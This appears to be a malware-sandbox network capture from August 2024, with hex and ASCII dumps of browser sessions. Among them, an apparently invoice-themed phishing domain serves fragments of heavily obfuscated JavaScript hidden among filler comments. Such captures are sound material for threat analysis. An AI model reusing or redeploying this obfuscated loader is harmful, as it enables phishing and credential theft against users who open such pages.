loCB8zwlJ+fi8esWTAt8XcO4SI+V3+FSch9D7wxhyIpz3tf48U7Ein6jiMbzvcOikLQiZWnYVqjI/3DJOwdcpqYuwT31jU3E+HdKO0PCQpjeEtPTSVH4cBt6FBR/rFzabQ0bGB+JG29rrrAkwaZNkzUZB4d36oUj+ty8nyMw7IWBB1AXb+ojGbQDNB5e8FFKW6G0o0qK/A2tp4FYP3cKQbmlaQvWYas4InScT1btsg+887FDrvwP1UnUKhZnIY7i4RwmMWzxsZVunDEl/ZU5kErZwrtn4Vb8nluiKJj/yzM3jfBcFy1iwtl7tRQ14y/cot3sH/VI=$OCUh9Smlz [TRUNCATED]
2024-08-28 11:52:50 UTC	325	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 34 2f 4b 35 55 77 67 31 71 78 50 35 42 4b 73 76 6a 41 37 69 7a 4f 42 35 67 48 7a 49 69 31 2f 4f 44 74 75 69 47 4a 50 61 51 52 46 6c 42 36 6a 57 38 68 6d 72 62 4d 76 36 61 58 74 48 4b 61 63 48 6b 33 79 6a 69 57 31 72 4e 47 43 6e 34 61 6b 59 44 79 4b 42 76 58 7a 62 77 36 4f 55 47 36 54 74 42 30 78 5a 33 69 6b 77 70 72 4d 52 32 70 77 58 51 6f 6c 38 75 71 5a 7a 64 63 63 42 48 51 4f 65 66 54 66 47 49 35 77 59 46 6a 73 4c 4c 59 7a 4f 55 55 51 41 59 34 30 69 52 5a 31 79 42 63 39 71 66 43 68 6b 76 51 2b 56 38 72 7a 6e 30 46 4b 52 5a 63 52 75 48 42 7a 32 4b 36 66 36 59 45 35 43 55 75 6f 59 70 49 6c 50 44 6e 56 6d 72 65 46 75 62 4f 61 62 24 57 30 37 79 6f 35 39 4c 59 4c 6a 4c 65 68 4d 35 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 Data Ascii: cf-chl-out: 4/K5Uwg1qxP5BKsvjA7izOB5gHzIi1/ODtuiGJPaQRFlB6jW8hmrbMv6aXtHKacHk3yjiW1rNGCn4akYDyKBvXzbw6OUG6TtB0xZ3ikwprMR2pwXQol8uqZzdccBHQOefTfGI5wYFjsLLYzOUUQAY40iRZ1yBc9qfChkvQ+V8rzn0FKRZcRuHBz2K6f6YE5CUuoYpIlPDnVmreFubOab$W07yo59LYLjLehM5Server: clou
2024-08-28 11:52:50 UTC	1245	IN	Data Raw: 6a 46 65 42 69 6d 4a 36 58 34 65 4c 5a 32 65 4e 6c 58 5a 70 65 49 31 6c 63 34 79 52 69 48 4e 33 6b 70 75 6b 5a 59 46 6f 5a 5a 5a 71 67 71 35 75 62 59 46 39 73 6f 79 4b 66 70 52 7a 61 70 43 6d 64 32 36 55 6e 6e 65 57 72 71 46 36 6d 4d 50 41 75 70 43 47 6e 5a 75 6b 74 36 69 62 71 61 58 43 70 4e 4f 6c 6f 4e 4f 6a 6f 39 69 79 70 73 66 58 73 72 72 4b 7a 4e 32 2f 6f 71 61 36 77 39 76 72 76 72 65 6c 75 61 62 73 72 72 71 7a 72 73 71 32 34 4d 54 34 74 75 62 62 74 62 6a 6f 33 67 4c 57 79 37 33 44 2f 50 54 38 2f 4d 72 35 2f 67 6b 51 2f 4f 2f 4a 45 50 33 7a 36 77 66 32 37 65 4c 79 48 51 6a 62 38 78 38 63 49 69 41 6c 41 41 63 6b 34 4f 44 34 48 41 77 44 41 65 76 68 38 4f 7a 37 4a 67 73 77 4a 78 63 73 38 69 30 57 48 42 41 74 46 41 6b 7a 47 68 41 31 46 44 5a 43 41 54 67 Data Ascii: jFeBimJ6X4eLZ2eNlXZpeI1lc4yRiHN3kpukZYFoZZZqgq5ubYF9soyKfpRzapCmd26UnneWrqF6mMPAupCGnZukt6ibqaXCpNOloNOjo9iypsfXsrrKzN2/oqa6w9vrvreluabsrrqzrsq24MT4tubbtbjo3gLWy73D/PT8/Mr5/gkQ/O/JEP3z6wf27eLyHQjb8x8cIiAlAAck4OD4HAwDAevh8Oz7JgswJxcs8i0WHBAtFAkzGhA1FDZCATg
2024-08-28 11:52:50 UTC	1369	IN	Data Raw: 78 48 7a 46 43 30 78 41 79 6b 5a 47 66 59 71 44 54 41 53 49 44 56 41 4a 7a 46 49 53 44 6b 6f 41 79 59 62 4c 56 46 49 52 54 51 76 54 42 4d 79 53 30 68 61 4f 44 74 55 4f 6b 6f 59 4e 6c 56 50 56 6d 52 63 50 45 52 58 4b 45 6b 34 57 43 5a 4e 4a 79 31 47 54 47 6c 53 53 56 49 77 53 6e 5a 52 66 56 70 47 5a 33 51 39 57 57 35 54 65 46 5a 6f 56 6d 4a 46 5a 48 31 71 59 47 64 75 57 6d 35 2b 69 48 61 4b 63 47 4b 59 62 6e 78 37 64 6d 70 33 62 59 78 67 67 70 64 35 59 59 56 30 5a 47 4f 4c 69 5a 69 4f 69 47 6c 74 6b 5a 4e 73 67 6f 53 6c 63 61 69 56 70 48 4f 33 65 61 31 33 76 4c 75 78 66 70 4c 44 6e 36 58 41 6f 71 43 47 79 4d 4b 77 72 6f 69 4f 73 4b 47 32 31 62 48 4b 78 4c 4f 77 74 39 6a 65 74 5a 66 59 30 4d 75 63 6f 71 37 54 6f 75 54 62 30 36 58 4b 70 74 69 2b 78 71 72 49 Data Ascii: xHzFC0xAykZGfYqDTASIDVAJzFISDkoAyYbLVFIRTQvTBMyS0haODtUOkoYNlVPVmRcPERXKEk4WCZNJy1GTGlSSVIwSnZRfVpGZ3Q9WW5TeFZoVmJFZH1qYGduWm5+iHaKcGKYbnx7dmp3bYxggpd5YYV0ZGOLiZiOiGltkZNsgoSlcaiVpHO3ea13vLuxfpLDn6XAoqCGyMKwroiOsKG21bHKxLOwt9jetZfY0Mucoq7TouTb06XKpti+xqrI
2024-08-28 11:52:50 UTC	802	IN	Data Raw: 51 55 4e 50 77 4f 4d 43 2f 35 4d 51 34 37 47 42 68 48 45 78 51 62 47 77 78 4d 4a 6b 35 4c 51 52 78 43 53 77 34 71 53 43 34 52 4a 6b 77 59 4e 43 67 71 4d 68 68 51 50 43 42 41 4e 69 4d 78 49 6a 78 72 4c 46 68 64 4f 6b 46 43 52 7a 77 77 56 45 6c 58 65 44 6c 48 56 6b 39 49 55 32 39 4e 65 6b 39 67 55 6b 56 30 65 6c 6c 34 65 48 78 68 52 47 52 62 61 59 43 42 53 32 47 42 59 6e 4a 75 54 47 70 6d 66 70 56 73 61 6e 46 37 62 32 31 68 58 48 74 7a 63 6d 43 43 71 71 65 5a 67 4c 42 35 61 49 4f 51 68 59 53 4c 67 33 69 4c 6a 70 79 46 6b 36 79 76 65 4a 79 62 6a 59 43 5a 6b 61 47 65 6b 70 61 36 77 35 32 68 69 6f 36 61 76 71 36 55 7a 36 48 4b 70 5a 6d 6d 74 36 6e 64 74 72 6d 33 71 71 36 65 76 63 4f 33 78 4c 33 72 76 2b 75 36 35 62 6e 4c 75 72 75 2f 30 39 48 6d 7a 75 66 7a 79 Data Ascii: QUNPwOMC/5MQ47GBhHExQbGwxMJk5LQRxCSw4qSC4RJkwYNCgqMhhQPCBANiMxIjxrLFhdOkFCRzwwVElXeDlHVk9IU29Nek9gUkV0ell4eHxhRGRbaYCBS2GBYnJuTGpmfpVsanF7b21hXHtzcmCCqqeZgLB5aIOQhYSLg3iLjpyFk6yveJybjYCZkaGekpa6w52hio6avq6Uz6HKpZmmt6ndtrm3qq6evcO3xL3rv+u65bnLuru/09Hmzufzy

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.16	49743	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4710 Host: login.live.com
2024-08-28 11:52:51 UTC	4710	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 11:52:51 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 11:51:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 4ea2bad6-eb1a-46ed-82fc-694ee2ebccaf PPServer: PPV: 30 H: BL02EPF0001D908 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 11:52:51 GMT Connection: close Content-Length: 10173
2024-08-28 11:52:51 UTC	10173	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49744	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:51 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:51 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 28 Aug 2024 11:52:51 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 3ZTKNeQvp9ndYGJ9bVlhOPEVte8CcUkuspY=$tPsNFVHjADR7nbHc Server: cloudflare CF-RAY: 8ba418f9bcf41a1b-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:51 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49745	104.26.7.122	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:51 UTC	918	OUT	POST /DhpuI/ HTTP/1.1 Host: zngw.officeinvoicedoc.com Connection: keep-alive Content-Length: 560 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://zngw.officeinvoicedoc.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://zngw.officeinvoicedoc.com/DhpuI/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=te925qf1g9s7hq3k8307e10371
2024-08-28 11:52:51 UTC	560	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 4e 6b 4d 4f 56 61 74 33 71 34 4b 56 5a 41 51 67 46 69 79 65 41 75 55 63 70 42 5a 53 4a 31 30 73 45 73 59 4c 46 6a 7a 35 5f 59 78 68 6f 35 4a 6f 31 6e 4a 6e 6a 74 31 75 50 46 5f 7a 34 75 6f 42 64 6f 34 77 74 43 76 4c 6e 42 6e 6b 71 66 4e 6b 6a 77 7a 37 47 4d 38 6d 58 54 4f 41 68 72 31 41 37 37 6c 68 68 67 67 6a 5a 70 73 6a 75 31 67 75 7a 6a 39 61 76 72 58 54 77 45 63 39 70 78 33 79 65 57 32 69 33 4d 61 4e 4c 53 32 51 54 70 71 74 78 6e 39 5a 76 68 47 78 36 74 46 50 49 42 6f 38 6e 43 4b 34 48 38 33 4c 65 39 77 4e 54 6c 69 49 62 49 36 71 67 38 76 72 55 2d 34 6f 62 33 49 39 74 76 59 41 65 65 59 72 33 6b 31 78 52 47 57 46 68 73 39 5a 61 33 48 35 78 35 75 4c 5f 6d 36 45 31 5a 63 39 35 49 4e Data Ascii: cf-turnstile-response=0.NkMOVat3q4KVZAQgFiyeAuUcpBZSJ10sEsYLFjz5_Yxho5Jo1nJnjt1uPF_z4uoBdo4wtCvLnBnkqfNkjwz7GM8mXTOAhr1A77lhhggjZpsju1guzj9avrXTwEc9px3yeW2i3MaNLS2QTpqtxn9ZvhGx6tFPIBo8nCK4H83Le9wNTliIbI6qg8vrU-4ob3I9tvYAeeYr3k1xRGWFhs9Za3H5x5uL_m6E1Zc95IN
2024-08-28 11:52:52 UTC	692	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.27 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NzbaGxc5qTkEHqCsHWDyKT2t8HEGvpizXFvix7jgtSHroh4%2F1%2FXtF7eSboY92PpedlnlBWCDnJ86tfyrQ5rrUw4HGLYbWDLLBkLYBUt9Dv1WHwFpU%2Bfm2iURgIWfnCLDJRbE68VdNruLq0g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba418f9a9271967-EWR
2024-08-28 11:52:52 UTC	677	IN	Data Raw: 39 64 64 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 56 65 6e 69 61 6d 20 76 65 6e 69 73 6f 6e 20 73 68 61 6e 6b 6c 65 20 62 69 6c 74 6f 6e 67 20 63 6f 72 6e 65 64 20 62 65 65 66 20 73 70 61 72 65 20 72 69 62 73 20 73 75 6e 74 20 67 72 6f 75 6e 64 20 72 6f 75 6e 64 20 69 6e 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 6c 65 74 20 72 68 31 33 7a 38 6a 65 6d 74 20 3d 20 27 27 3b 2f 2f 20 4f 66 66 69 63 69 61 20 70 61 72 69 61 74 75 72 20 74 65 6e 64 65 72 6c 6f 69 6e 20 6c 61 62 6f 72 65 20 62 72 69 73 6b 65 74 2e 0a 66 75 6e 63 74 69 6f 6e 20 72 41 7a 74 64 4a 30 28 29 7b 7d 76 61 72 20 69 62 64 41 45 30 3d 4f 62 6a 65 63 74 5b 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 27 5d 2c 63 31 61 30 31 57 2c 6e 50 69 5f 73 47 48 2c 70 39 6c 38 56 Data Ascii: 9dd... <span>Veniam venison shankle biltong corned beef spare ribs sunt ground round in.</span> --><script>let rh13z8jemt = '';// Officia pariatur tenderloin labore brisket.function rAztdJ0(){}var ibdAE0=Object['defineProperty'],c1a01W,nPi_sGH,p9l8V
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 31 61 30 31 57 2c 6e 50 69 5f 73 47 48 3d 30 78 31 31 29 3d 3e 7b 66 6f 72 28 69 62 64 41 45 30 3d 69 62 64 41 45 30 3b 69 62 64 41 45 30 25 30 78 34 3d 3d 3d 30 78 30 3b 69 62 64 41 45 30 2b 2b 29 63 31 61 30 31 57 3d 30 78 30 2c 72 41 7a 74 64 4a 30 3d 72 41 7a 74 64 4a 30 2e 63 6f 6e 63 61 74 28 67 4e 73 45 78 72 79 28 28 29 3d 3e 7b 76 61 72 20 69 62 64 41 45 30 3b 63 31 61 30 31 57 2b 2b 3b 69 66 28 63 31 61 30 31 57 3d 3d 3d 30 78 31 29 7b 72 65 74 75 72 6e 5b 5d 7d 66 6f 72 28 69 62 64 41 45 30 3d 30 78 31 37 3b 69 62 64 41 45 30 3b 69 62 64 41 45 30 2d 2d 29 72 41 7a 74 64 4a 30 2e 75 6e 73 68 69 66 74 28 72 41 7a 74 64 4a 30 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 5b 5d 7d 29 28 29 29 3b 66 6f 72 28 6e 50 69 5f 73 47 48 3d 6e 50 69 5f 73 47 48 Data Ascii: 1a01W,nPi_sGH=0x11)=>{for(ibdAE0=ibdAE0;ibdAE0%0x4===0x0;ibdAE0++)c1a01W=0x0,rAztdJ0=rAztdJ0.concat(gNsExry(()=>{var ibdAE0;c1a01W++;if(c1a01W===0x1){return[]}for(ibdAE0=0x17;ibdAE0;ibdAE0--)rAztdJ0.unshift(rAztdJ0.pop());return[]})());for(nPi_sGH=nPi_sGH
2024-08-28 11:52:52 UTC	486	IN	Data Raw: 6a 48 74 39 5a 72 28 59 73 45 57 66 28 22 6b 6f 2b 77 73 3a 24 6a 72 35 34 47 77 59 2c 4a 65 27 2c 27 50 55 41 52 4f 44 64 76 55 38 5b 3f 37 69 66 3b 32 52 46 52 6b 6f 3b 79 5e 34 3f 31 73 7c 3c 2e 4a 7b 4b 5b 52 52 71 27 2c 27 54 6b 54 6c 78 58 6f 50 3d 42 3a 55 4a 59 68 50 21 28 31 22 67 64 7b 56 5f 27 2c 27 78 24 40 3c 4c 62 33 77 54 50 5f 58 5a 39 73 50 5b 34 76 37 40 68 4f 77 3d 58 48 26 29 25 43 72 7e 44 56 22 26 30 71 27 2c 27 2a 2e 5e 34 69 47 6a 36 7d 61 5a 33 39 7c 3b 2e 7b 66 4f 34 71 3d 7b 75 27 2c 27 30 38 2c 4d 2b 30 25 4f 73 7b 2c 77 6e 25 2c 50 79 23 69 2e 3b 27 2c 27 6c 7b 54 5d 6c 78 45 79 6a 65 35 55 3c 45 52 3b 5b 2e 62 5f 5e 41 2c 72 5f 43 66 27 2c 27 28 7b 7c 22 29 66 3a 58 58 65 30 41 50 49 51 69 61 30 38 2e 5f 52 2b 75 27 2c 27 46 Data Ascii: jHt9Zr(YsEWf("ko+ws:$jr54GwY,Je','PUARODdvU8[?7if;2RFRko;y^4?1s\|<.J{K[RRq','TkTlxXoP=B:UJYhP!(1"gd{V_','x$@<Lb3wTP_XZ9sP[4v7@hOw=XH&)%Cr~DV"&0q','*.^4iGj6}aZ39\|;.{fO4q={u','08,M+0%Os{,wn%,Py#i.;','l{T]lxEyje5U<ER;[.b_^A,r_Cf','({\|")f:XXe0APIQia08._R+u','F
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 62 35 30 0d 0a 5e 3f 21 57 36 57 70 2e 3d 29 58 30 42 27 2c 27 5a 28 42 4d 2c 35 3f 3f 2f 2c 50 4e 25 53 3e 42 40 3a 25 48 6c 44 4d 64 5e 39 5d 77 29 62 70 27 2c 27 5f 59 36 34 36 78 3b 52 51 46 72 48 3a 59 3f 6e 4a 34 55 59 6d 7e 36 30 39 39 3a 76 75 27 2c 27 5a 70 52 2c 4e 6c 25 6a 57 7b 6f 37 70 45 64 36 3b 76 77 5f 4f 58 5d 69 66 7a 36 5f 26 3b 2c 3b 42 51 4a 54 46 27 2c 27 3b 44 4f 54 69 60 40 2e 77 41 58 51 7b 38 5e 56 66 71 27 2c 27 4e 25 41 2c 77 22 3d 4a 25 70 6b 41 57 38 2b 26 25 3b 40 26 60 6c 29 76 37 70 40 27 2c 27 7d 26 44 4b 75 2b 6b 77 6a 2c 43 70 4f 70 23 3f 2f 44 77 5f 5a 6c 48 77 75 46 37 2c 76 77 7a 23 74 61 79 5d 27 2c 27 39 31 6e 48 72 35 79 47 71 39 65 48 4c 3b 67 4a 49 31 7a 5f 47 34 3f 69 7d 55 74 3d 49 28 60 36 47 56 71 5e 62 35 Data Ascii: b50^?!W6Wp.=)X0B','Z(BM,5??/,PN%S>B@:%HlDMd^9]w)bp','_Y646x;RQFrH:Y?nJ4UYm~6099:vu','ZpR,Nl%jW{o7pEd6;vw_OX]ifz6_&;,;BQJTF',';DOTi`@.wAXQ{8^Vfq','N%A,w"=J%pkAW8+&%;@&`l)v7p@','}&DKu+kwj,CpOp#?/Dw_ZlHwuF7,vwz#tay]','91nHr5yGq9eHL;gJI1z_G4?i}Ut=I(`6GVq^b5
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 53 77 26 29 7d 59 4e 67 26 6f 53 30 34 5f 4f 68 71 27 2c 27 51 38 71 6a 70 69 4c 56 32 65 2e 65 5a 4f 34 36 29 5b 24 51 32 64 71 4a 7d 39 31 23 36 54 4d 2b 74 6f 44 5d 51 7c 4b 4f 5f 27 2c 27 49 37 44 53 4e 3c 6b 5f 73 70 28 37 23 6c 70 27 2c 27 34 31 26 59 75 3d 2a 3f 7a 58 6c 70 22 24 60 47 5d 2e 7a 5d 4a 60 23 3f 23 55 79 26 4d 62 74 65 5d 75 27 2c 27 67 38 4c 31 5f 23 38 4a 48 50 6f 3d 50 67 33 3f 6f 48 56 37 33 3d 3d 3f 2b 65 68 51 24 3b 54 42 42 75 27 2c 27 23 66 71 48 38 38 5f 5f 38 41 48 41 78 24 2b 6f 3b 7c 71 3e 5b 30 5b 72 52 42 7d 75 41 49 70 27 2c 27 45 7e 75 34 6b 7d 4f 7e 77 3a 46 44 72 70 44 4a 6b 47 23 3d 68 3c 7b 75 44 7e 3e 62 67 3b 2c 27 2c 27 4e 28 4b 5d 38 28 42 4b 7c 65 27 2c 27 52 70 21 2e 4c 4d 50 36 72 7e 48 32 62 38 51 72 5e 24 Data Ascii: Sw&)}YNg&oS04_Ohq','Q8qjpiLV2e.eZO46)[$Q2dqJ}91#6TM+toD]Q\|KO_','I7DSN<k_sp(7#lp','41&Yu=*?zXlp"$`G].z]J`#?#Uy&Mbte]u','g8L1_#8JHPo=Pg3?oHV73==?+ehQ$;TBBu','#fqH88__8AHAx$+o;\|q>[0[rRB}uAIp','E~u4k}O~w:FDrpDJkG#=h<{uD~>bg;,','N(K]8(BK\|e','Rp!.LMP6r~H2b8Qr^$
2024-08-28 11:52:52 UTC	165	IN	Data Raw: 27 4b 31 2c 31 78 28 70 2c 61 42 46 77 5a 21 7a 36 3d 2f 23 51 30 6a 37 5f 7e 7b 4a 79 40 3f 73 3b 36 6b 7c 61 3f 7c 70 67 27 2c 27 3d 7b 2e 26 28 62 55 4f 4e 55 52 72 44 39 30 25 5f 59 55 5b 25 79 37 62 50 50 42 24 36 54 27 2c 27 7a 38 35 48 23 59 24 4b 4d 32 51 3a 75 74 25 56 3f 52 61 31 34 49 73 67 23 50 2c 34 42 69 51 4a 25 76 3d 59 2c 4e 4d 76 22 2c 35 54 75 27 2c 27 4d 44 23 48 45 47 58 3f 61 3a 72 3a 47 24 23 6f 33 66 4e 31 71 76 71 2c 7a 50 35 72 73 3e 42 3b 75 34 2f 5d 22 52 0d 0a Data Ascii: 'K1,1x(p,aBFwZ!z6=/#Q0j7_~{Jy@?s;6k\|a?\|pg','={.&(bUONURrD90%_YU[%y7bPPB$6T','z85H#Y$KM2Q:ut%V?Ra14Isg#P,4BiQJ%v=Y,NMv",5Tu','MD#HEGX?a:r:G$#o3fN1qvq,zP5rs>B;u4/]"R
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 31 36 39 38 0d 0a 48 56 31 27 2c 27 3a 44 38 21 3c 40 48 4a 30 27 2c 27 4a 44 67 72 6c 5b 50 34 27 2c 27 51 74 48 2c 30 70 5a 34 27 2c 27 66 22 3b 64 4c 21 6a 4d 27 2c 27 73 6a 3d 44 56 4a 37 71 37 66 6f 64 76 74 27 2c 27 28 66 32 21 57 27 2c 27 49 39 6c 2a 59 3f 2e 2e 41 7a 3c 27 2c 27 57 73 61 58 30 30 60 72 70 36 48 4a 24 44 27 2c 27 24 37 7e 22 6f 27 2c 27 3d 70 68 4b 5a 32 5f 6b 27 2c 27 78 55 6d 3a 2e 54 39 32 46 2c 57 27 2c 27 37 3d 76 30 74 7c 2b 42 36 53 43 26 2e 27 2c 27 5b 4f 70 66 73 27 2c 27 49 24 66 61 3e 27 2c 27 64 48 3f 61 51 7c 71 27 2c 27 2e 61 3a 5b 3f 41 6a 4e 71 38 45 26 2b 28 62 25 3b 56 3f 59 36 40 76 43 37 32 51 4e 49 59 61 25 63 4b 6d 37 4b 5a 59 77 2a 43 7b 7d 6b 41 30 4a 3c 3b 26 61 35 79 33 7e 74 29 74 6f 51 7c 7b 6f 79 65 5b Data Ascii: 1698HV1',':D8!<@HJ0','JDgrl[P4','QtH,0pZ4','f";dL!jM','sj=DVJ7q7fodvt','(f2!W','I9lY?..Az<','WsaX00`rp6HJ$D','$7~"o','=phKZ2_k','xUm:.T92F,W','7=v0t\|+B6SC&.','[Opfs','I$fa>','dH?aQ\|q','.a:[?AjNq8E&+(b%;V?Y6@vC72QNIYa%cKm7KZYwC{}kA0J<;&a5y3~t)toQ\|{oye[
2024-08-28 11:52:52 UTC	1369	IN	Data Raw: 74 7b 4a 50 55 36 31 4e 7e 4c 42 7a 50 23 62 45 3b 4d 47 52 31 25 34 57 60 4f 36 23 61 5a 46 41 28 34 36 6e 47 35 31 35 3a 23 46 54 50 37 32 54 39 22 25 39 47 26 59 49 6c 6e 76 49 46 50 24 26 45 6e 45 55 56 6a 2c 3a 38 3e 4b 66 46 40 7d 55 49 44 72 69 52 43 34 4a 60 4b 36 74 38 59 42 5b 21 4f 3b 2a 61 56 37 78 48 61 5f 39 55 78 54 39 70 25 23 52 70 56 5e 6a 52 21 5f 21 38 69 62 5e 77 75 3f 65 65 23 6a 76 6f 3a 31 5e 39 59 29 2c 21 46 65 28 61 24 3d 23 4d 7d 46 57 70 5f 74 6e 6f 66 3b 2a 61 56 37 78 48 7d 47 22 7b 4e 28 3a 70 25 23 34 31 2a 54 31 52 47 76 7d 7e 6d 33 51 74 75 3f 67 29 4b 52 28 38 6f 7e 66 39 73 41 25 54 4c 5b 69 46 25 31 3b 21 3d 79 3a 78 6b 66 62 3f 42 47 2f 65 4b 3c 59 44 45 3f 77 72 44 32 4f 70 66 23 51 47 44 3b 36 40 6d 46 21 46 2c 65 Data Ascii: 